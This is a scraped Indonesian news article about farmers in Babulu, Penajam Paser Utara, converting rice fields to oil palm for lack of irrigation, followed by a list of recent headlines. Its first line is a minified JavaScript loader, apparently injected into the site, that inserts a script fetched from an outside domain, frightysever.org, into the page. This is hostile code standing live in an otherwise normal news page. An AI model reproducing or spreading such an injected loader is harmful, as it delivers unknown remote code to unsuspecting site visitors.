(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Calon Ibu Kota Baru Hadapi Dilema Pengalihan Fungsi Lahan


KANALKALIMANTAN.COM – Calon ibu kota negara, Kabupaten Penajam Paser Utara menghadapi persoalan baru terkait alih fungsi lahan. Permasalahan tersebut terjadi di Kecamatan Babulu, lantaran banyak warga yang lebih memilih menanam kelapa sawit dibandingkan padi.

Persoalan tersebut dikemukakan Camat Babulu, Margono Hadi Susanto. Dia mengakui, jika hal tersebut sulit untuk dibendung.

“Persoalan alih fungsi lahan pertanian tanaman padi menjadi masalah yang dilematis,” ujar ketika ditemui Antara di Penajam pada Senin (16/11/2020).

Dia mengemukakan, alasan pengalihfungsian lahan tersebut lebih disebabkan karena faktor ekonomi.

“Hampir seluruh masyarakat melakukan alih fungsi lahan persawahan beralasan mempertahankan ekonomi rumah tangga,” tambahnya.

Margono mengemukakan, jika menanam padi warganya membutuhkan banyak air. Pun dia mengakui, jika kendala utama pada sektor pertanian masih belum teratasi.

Masyarakat petani tidak bisa menanam padi karena kesulitan mencari sumber air untuk irigasi atau mengairi lahan pertanian tanaman padi.

Sementara menanam kelapa sawit lebih mudah perawatannya dan tahan terhadap kondisi panas saat saat musim kemarau.

Peraturan daerah menyangkut alih fungsi lahan, menurut Margono, dapat ditegakkan setelah sawah sudah secara teratur teraliri air irigasi.

“Memang dilematis kalau dipaksakan tegakan aturan, masyarakat beralasan tidak bisa tanam padi karena tidak ada air,” ucapnya.

Dia menyebutkan, dari total 15.000 hektare lahan persawahan potensial di Kecamatan Babulu, baru sekitar 8.000 sampai 10.000 hektare yang berfungsi secara optimal.

Selama ini pengairan lahan pertanian tanaman padi di wilayah Penajam Paser Utara menggunakan tadah hujan, dan pembangunan bendung gerak Sungai Talake Kabupaten Paser salah satu solusi sebagai sumber air irigasi lahan persawahan khususnya di wilayah Babulu. (Antara)(Suara)

Editor : Suara

 

 


Al Ghifari

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

3 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

3 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

6 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

9 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

19 jam ago

This website uses cookies.